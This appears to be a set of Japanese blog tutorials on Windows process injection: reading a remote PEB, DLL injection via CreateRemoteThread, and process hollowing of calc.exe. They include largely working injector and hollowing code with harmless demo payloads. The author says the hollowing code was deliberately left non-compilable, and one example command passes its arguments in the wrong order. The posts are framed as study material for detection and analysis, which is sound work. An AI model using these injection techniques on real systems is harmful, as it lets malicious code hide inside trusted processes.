ReadRemoteImageBase(HANDLE hProcess, PROCESS_BASIC_INFORMATION *pBasicInfo){ // get ImageBase offset address from the PEB DWORD64 pebImageBaseOffset = (DWORD64)pBasicInfo->PebBaseAddress + 0x10 ; // debug ss << std::hex << pebImageBaseOffset; std::cout << "pebImageBaseOffset: " << ss.str() << std::endl; // get ImageBase DWORD64 ImageBase = 0; SIZE_T ReadSize = 8; SIZE_T bytesRead = NULL; ReadProcessMemory(hProcess, (LPCVOID)pebImageBaseOffset, &ImageBase, ReadSize, &bytesRead); return ImageBase; } int main() { // open 64bit notepad.exe std::cout << "Creating process\r\n"; LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA( 0, "notepad.exe", 0, 0, 0, 0, 0, 0, pStartupInfo, pProcessInfo); PROCESS_BASIC_INFORMATION *pBasicInfo = (PROCESS_BASIC_INFORMATION*)FindRemotePEB(pProcessInfo->hProcess); DWORD64 ImageBase = ReadRemoteImageBase(pProcessInfo->hProcess, pBasicInfo); // debug printf("ProcessId:%d\n", pProcessInfo->dwProcessId); printf("ImageBase:%p\n", ImageBase); system("PAUSE"); TerminateProcess(pProcessInfo->hProcess, NULL); }
プロセスハンドルからNtQueryInformationProcessでPROCESS_BASIC_INFORMATIONを取得する。 その中にPEBへのポインタがあるので、0x10加算したアドレスをReadProcessMemoryで読み取ればそれがImageBaseのアドレスというわけだ。
参考サイト
https://riosu.hateblo.jp/entry/2013/09/06/001208
https://www.microsoftpressstore.com/articles/article.aspx?p=2233328
LoadLibrary,CreateRemoteThreadを使ったDLL Injectionをやってみる
LoadLibrary,CreateRemoteThreadを使ったDLL Injectionをやってみる
DLLインジェクションの紹介記事なんて何番煎じだよという声が聞こえてきそうですが、DLLを使った攻撃は多くの派生版があり、それらを理解するにはまず最も基本的なLoadLibrary,CreateRemoteThreadを使ったDLLインジェクションを理解することが近道です。
本記事ではKernel32.dllがエクスポートするLoadLibrary、CreateRemoteThreadを使ったDLLInjectionを実装し、その動作原理について解説したいと思います。 またその結果としてマルウェア解析やその検知等の応用につなげていただければ幸いです。
DLL Injectionの原理
Windowsにおいて、各プロセスは固有の仮想メモリ空間を持ちます。 そのため基本的にWindowsAPIの力を借りずにあるプロセスが別のプロセスのメモリ空間を操作することはできません。
対してDLL InjectionはリモートプロセスへDLLを注入することで、そのリモートプロセスとしてコードを実行させるテクニックです。 これは攻撃者からすれば、既存のプロセスを隠れ蓑に任意のコードを実行させられるということであり、実においしい話です。
さて、さきほどWindowsAPIの力を借りずにあるプロセスが別のプロセスのメモリ空間を操作することはできないと述べました。ではどのようにDLL Injectionは実装されるのでしょうか。
特定のDLL(具体的にはNtdll.dllやKernel32.dll,User32.dllなどのサブシステムDLL)はすべてのプロセスで同じ仮想メモリアドレスにロードされます.したがって,それらDLLからエクスポートされるAPIのアドレスはすべてのプロセスで共通の値になります.
Loadlibraryを使ったDLLインジェクションはこの仕組みに着目し、自プロセスにロードされたKernel32.dllからエクスポートされるLoadlibraryへのアドレスをそのまま他プロセスに渡すことで任意のDLLのロードを可能にします。
主な手順は次のようになります。
- リモートプロセスをオープンまたはアタッチ
- WriteProcessMemoryでリモートプロセスに読み込ませたいDLLのパスを書き込む
- Loadlibraryへのアドレスを引数としてリモートプロセスに対してCreateRemoteThreadする
- この際、Loadlibraryの引数に、先ほど書き込んだDLLのパスへのアドレスを指定することで、任意のDLLを読み込ませることが可能
- DLLは読み込まれた直後に自動的に実行するコードを内部に記述可能で、ここに悪意あるコードを忍ばせておくことで攻撃が成立する
それでは実際に悪意あるDLLとそれをほかのプロセスにインジェクトするインジェクタープログラムを実装していきましょう。
injectorの実装
// usage // ./injector.exe [DLLPath] [ProcessID to insert DLL] #include <windows.h> int main(int argc, char *argv[]) { DWORD pid; HANDLE proc; LPSTR libPath; LPSTR remoteLibPath; DWORD pathSize; libPath = argv[1]; // 文字列を数値に変換 pid = strtoul(argv[2], NULL, 0); proc = OpenProcess( PROCESS_CREATE_THREAD //CreateRemoteThread | PROCESS_VM_OPERATION //VirtualAllocEX | PROCESS_VM_WRITE, //WriteProcessMemory FALSE, //InheritHandle pid); pathSize = strlen(libPath) + 1; remoteLibPath = VirtualAllocEx( proc, NULL, pathSize, MEM_COMMIT, PAGE_READWRITE); // リモートプロセスへ読み込ませたいDLLのパスを書き込む WriteProcessMemory( proc, remoteLibPath, libPath, pathSize, NULL); // 自プロセス内のLoadlibraryへのアドレスをそのまま引数として渡す CreateRemoteThread( proc, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibrary, remoteLibPath, 0, NULL); return 0; }
DLLを読み込ませるインジェクタープログラムはたったこれだけです。
injectさせるDLLの実装
次に読み込まれるDLLを実装していきましょう。 このDLLがリモートプロセスに読み込まれ、デバッグウィンドウに文字列が出力されれば成功です。
// evil.c #include <Windows.h> int evilcode(void); int evilCode() { char *buf = "Injected!"; OutputDebugString(buf); } BOOL WINAPI DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { evilCode(); } return TRUE; }
DLLは自身がプロセスにアタッチされたとき、つまりプロセスの仮想メモリ上にロードされたときに実行されるコードを記述可能で、今回はアタッチ時にevilcode()が実行されます。 このようにすることで読み込ませたプロセス上で任意のコードを走らせることができます。
実際に動作させてみる
VisualStudio付属のx64 native tools command prompt for vs 2019からclコマンドでコンパイルを行います。
cl injector.c
DLLは/LD
オプションをつけることで作成できます。
cl evil.c /LD
まずは適当なインジェクトされるプログラムを起動しそのプロセス番号を調べます。今回はメモ帳を使うことにします。
C:\Program Files (x86)\Microsoft Visual Studio\2019\Community>tasklist | findstr "notepad" notepad.exe 15424 Console 1 18,340 K
続いてインジェクタープログラムを使って実際にDLLをメモ帳にロードさせてみます。
injector.exe 15424 evil.dll
メッセージボックスがデバッグビューに表示されればDLLインジェクション成功です。
まとめ
名前のいかつさとは対照的に、案外簡単に実装できてしまったのではないでしょうか。
DLL InjectionはAPIフックやin-lineフックなどの興味深い攻撃手法の根幹をなすテクニックです。 また、インジェクター内で使用したOpenProcessやWriteProcessMemory、CreateRemoteThreadはプロセス操作を行うマルウェアで頻繁に目にするWindowsAPIです。
興味深い攻撃手法がたくさんありますのでぜひ手元で再現し、その検知手法ならびに解析手法を考えてみてください。
参考サイト
NtUnmapViewOfSecitonによるProcess Hollowingをやってみる
NtUnmapViewOfSecitonによるProcess Hollowingをやってみる
本記事は IPFactory Advent Calendar 2019 - Qiita 19日目の記事です。
Ntdll.dllからエクスポートされるNtUnmapViewOfSectionによるProcess Hollowingをやってみる。
Process Hollowingの検知手法について解説する記事はいくつかヒットするが、その実装について解説した日本語情報はあまりないように思う。この記事では、すでによく知られているProcess Hollowingについて,実装部分に注目しながら解説してみる。これを読まれた方に検知と回避についてその仕組みから考える機会となれば幸いである。
Process Hollowingとは
マルウェアが使うProcess Injection手法の一例として、Process Hollowingがある。 これは正当なプロセスをサスペンド状態で新規作成した後、内部のイメージをNtUnmapViewOfSectionでアンマップし、悪意あるコードに置き換えるというものだ。
イメージをアンマップする様子がくり抜く動作に似ていることからProcess Hollowingと呼ばれる。
この記事では以下のリポジトリを参考に、電卓プロセスをHollowingし悪意あるコードに見立てたメッセージボックスをポップアップさせるプログラムを実装してみる。
新規プロセスの作成
まずは単純に,電卓を起動させるコードを書いてみる。
#include <windows.h> #include <stdio.h> void CreateHollowedProcess() { printf("Creating process\r\n"); LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); // CREATE_SUSPENDで新規プロセス作成 CreateProcessA( 0, "calc.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo); if (!pProcessInfo->hProcess) { printf("Error creating process\r\n"); return; } ////////////////////////////// // ここにコードを追加していく ////////////////////////////// } int main(int argc, char *argv[]) { CreateHollowedProcess(); system("pause"); return 0; }
CreateProcessAの6番目の引数にCREATE_SUSPENDEDを与えることでサスペンド状態でプロセスが新規作成される。 試しにこれを0などに変えてみると通常通り電卓が起動するだろう。
以降このプログラムにコードを追加していく。
イメージのアンマップ
最初の処理は作成した電卓のイメージのアンマップだ。
/////////////////////////////////////////////////// // イメージのアンマップ printf("Unmapping destination section\r\n"); // 書き込み対象プロセスのPEB情報を取得 PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess); // 書き込み対象プロセスのImageBaseを取得 PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress); handle hinstance = getmodulehandle(); // 動的にDLLをリンク HMODULE hNTDLL = GetModuleHandleA("ntdll"); FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection"); _NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; // 書き込み対象プロセスをアンマップ DWORD dwResult = NtUnmapViewOfSection(pProcessInfo->hProcess, pPEB->ImageBaseAddress); ///////////////////////////////////////////////////
イメージのアンマップはNtdll.dllからエクスポートされるNtUnmapViewOfSectionを使用する。 DLLの動的なロードにはGetModuleHandleAを使用する。 ハンドルと使用したい関数をGetProcAddressに渡すとその関数へのポインタが返る。 以降NtUnmapViewOfSectionへは関数ポインタと同じ要領でアクセスすればよい。
NtUnmapViewOfSectionの第1引数には対象プロセスのハンドル、第2引数にはイメージのベースアドレスを指定する。 対象プロセスへのハンドルはpProcessInfo->hProcessを与える。 イメージのベースアドレス取得にはラッパー関数であるReadRemotePEBを使用する。 この内部ではNtQueryInformationProcessを使ってPEBからプロセスのイメージベースを取得している。実際のコードはリポジトリを参照してほしい。
書き込み元実行ファイルの情報収集とメモリのアロケート
イメージのアンマップが正常に終了したら次は代替コードの注入だ。 メッセージボックスがポップアップするプログラムを簡単に書いてみる。
#include <windows.h> int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { MessageBoxA(0, "Hello World", "Hello Caption", 0); return 0; }
このプログラムをコンパイルし実行形式にする。
書き込み元実行ファイルの情報収集処理ではまず先ほどコンパイルして出来上がった実行ファイルをオープンし、SizeOfImageなど書き込みに必要な情報を取得する。 次にそれに基づいてVritualAllocEXを使って電卓プロセス内にメモリ領域をPAGE_EXECUTE_READWRITEでアロケートする。 この段階ではまだメモリ領域を確保しただけで書き込みまでは行っていない。
/////////////////////////////////////////////////// // 書き込み元実行ファイルの情報収集とメモリのアロケート // 書き込み元実行ファイルをオープン printf("Opening source image\r\n"); HANDLE hFile = CreateFileA( pSourceFile, GENERIC_READ, 0, 0, OPEN_ALWAYS, 0, 0); // 書き込み元実行ファイルのファイルサイズ取得 DWORD dwSize = GetFileSize(hFile, 0); PBYTE pBuffer = new BYTE[dwSize]; DWORD dwBytesRead = 0; ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0); // PEファイルのImageBase,NumberOfSectionsなどの各種情報を取得 PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer); // NTHeaderへのオフセットを取得 PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer); printf("Allocating memory\r\n"); // PAGE_EXECUTE_READWRITEで書き込み対象へメモリ領域の確保 PVOID pRemoteImage = VirtualAllocEx( pProcessInfo->hProcess, pPEB->ImageBaseAddress, pSourceHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); ///////////////////////////////////////////////////
ベース再配置処理
PEファイルのオプショナルヘッダにはリンカが指定したイメージファイルがロードされるべきアドレスであるImageBaseフィールドがある。しかし既に他のイメージによって使用されているなど常にこのアドレスにロードできるとは限らない。 なんらかの理由でImageBaseにイメージファイルをロードできなかった場合、ローダはファイル内のベース再配置情報に基づいてアドレス値を修正する。 Process HollowingではVirtualAllocExで確保したメモリ領域にイメージファイルをロードさせる。そのため通常ローダが行ってくれるこのベース再配置をマニュアルで行う必要がある。
ベース再配置情報はオプショナルヘッダのDataDirectoryのIMAGE_DIRECTORY_ENTRY_BASERELOC[5]のエントリから辿ることができる。
/////////////////////////////////////////////////// // ベース再配置処理 pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress; // NTヘッダ部分を先んじて書き込む printf("Writing headers\r\n"); WriteProcessMemory( pProcessInfo->hProcess, pPEB->ImageBaseAddress, pBuffer, pSourceHeaders->OptionalHeader.SizeOfHeaders, 0); // 続いてセクション分書き込むためのループ for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) { if (!pSourceImage->Sections[x].PointerToRawData) continue; // セクションの書き込み先となるポインタを決定 PVOID pSectionDestination = (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress); printf("Writing %s section to 0x%p\r\n", pSourceImage->Sections[x].Name, pSectionDestination); WriteProcessMemory( pProcessInfo->hProcess, pSectionDestination, &pBuffer[pSourceImage->Sections[x].PointerToRawData], pSourceImage->Sections[x].SizeOfRawData, 0); } // リンカが想定したImageBaseAddressと、実際にロードしたImageBaseAddressの差 DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - pSourceHeaders->OptionalHeader.ImageBase; if (dwDelta) for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) { char *pSectionName = ".reloc"; // セクション名が.reloc以外なら続行 if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName))) continue; printf("Rebasing image\r\n"); DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData; DWORD dwOffset = 0; // 再配置テーブルへのポインタを取得 IMAGE_DATA_DIRECTORY relocData = pSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; // 再配置テーブルのサイズ分ループ while (dwOffset < relocData.Size) { PBASE_RELOCATION_BLOCK pBlockheader = (PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset]; // インクリメント dwOffset += sizeof(BASE_RELOCATION_BLOCK); DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize); PBASE_RELOCATION_ENTRY pBlocks = (PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset]; for (DWORD y = 0; y < dwEntryCount; y++) { // インクリメント dwOffset += sizeof(BASE_RELOCATION_ENTRY); // タイプが0なら再配置の必要なし if (pBlocks[y].Type == 0) continue; // 再配置が必要なフィールドのアドレスを求める DWORD dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset; DWORD dwBuffer = 0; // 再配置が必要なフィールドの読み込み ReadProcessMemory( pProcessInfo->hProcess, (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), &dwBuffer, sizeof(DWORD), 0); printf("Relocating 0x%p -> 0x%p\r\n", dwBuffer, dwBuffer + dwDelta); dwBuffer += dwDelta; // 再配置が必要なフィールドの修正 BOOL bSuccess = WriteProcessMemory( pProcessInfo->hProcess, (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), &dwBuffer, sizeof(DWORD), 0); } } break; } ///////////////////////////////////////////////////
まず1度イメージ全体を自プロセスのメモリ空間にロードする。
リンカが想定したImageBaseAddressと、実際にロードしたImageBaseAddressの差Deltaが0でない場合ベース再配置が必要で、.relocセクションに格納されている再配置テーブルを修正する。
再配置テーブルへのポインタはpSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
で取得している。
PEViewで実際に適当なプログラムの.relocセクションをみてみると次のようになっており、再配置テーブルの構造がわかりやすいのではないかと思う。 またここではBASE_RELOCATION_BLOCK構造体とBASE_RELOCATION_ENTRY構造体が次のように定義されていることに注意して欲しい。
typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; // 再配置を行うベースとなるRVA DWORD BlockSize; // 再配置ブロックのサイズ } BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; // 上位12bitがVirtualAddress からのオフセット USHORT Type : 4; // 下位4ビットで再配置のタイプ } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
BASE_RELOCATION_BLOCK構造体の直後にBASE_RELOCATION_ENTRY構造体がBASE_RELOCATION_BLOCK構造体のサイズも含めた値BlockSizeだけ延々と繰り返される。
PageAddressにOffsetを足すことで再配置を行うべきRVAを求め、dwDeltaを足すことで再配置計算が完了する。
スレッドコンテキストの編集
ターゲットプロセスへイメージのロードが完了したら、プロセススレッドのコンテキストを調整して完了だ。
/////////////////////////////////////////////////// // スレッドコンテキストの編集 // エントリーポイントの取得 DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress + pSourceHeaders->OptionalHeader.AddressOfEntryPoint; LPCONTEXT pContext = new CONTEXT(); pContext->ContextFlags = CONTEXT_INTEGER; printf("Getting thread context\r\n"); // ターゲットプロセスのスレッドコンテキスト情報を取得 GetThreadContext(pProcessInfo->hThread, pContext); // エントリーポイントの書き換え pContext->Eax = dwEntrypoint; printf("Setting thread context\r\n"); // スレッドコンテキストの更新 SetThreadContext(pProcessInfo->hThread, pContext); printf("Resuming thread\r\n"); // ターゲットプロセスのをResume ResumeThread(pProcessInfo->hThread); printf("Process hollowing complete\r\n"); ///////////////////////////////////////////////////
動作の様子
以上のコードをコンパイルして実際に動作させてみる。
— ry0kvn (@ry0kvn) 2019年12月19日
確かに電卓からメッセージボックスがポップアップしている。 またプロセスエディタで電卓にアタッチしておけばアンマップの様子やリロケーションの様子も見ることができる。
今回は簡便のためコマンドプロンプトにデバッグ情報を出力しているが、当然ながら適切なプロセスをProcess Hollowing対象にすることで、タスクバーを含めて画面上からは一切の動作の様子を確認できなくすることも可能だ。
まとめ
ここまで読んでもらえた方には分かると思うがこのプログラムは32bitアプリケーションでしか動作しない。また悪用回避のためにただコードを繋げるだけではコンパイルできなくしている。
Process Hollowingはレガシーなテクニックだが、私にとってはリモートプロセスの操作やPEファイルの扱い、さらにはベース再配置などのイメージローダーが担う機能の一部分の再実装を通して、普段扱わない部分に触れる貴重な学習となった。繰り返しになるが、これを読まれた方に検知と回避についてその仕組みから考える機会となれば幸いである。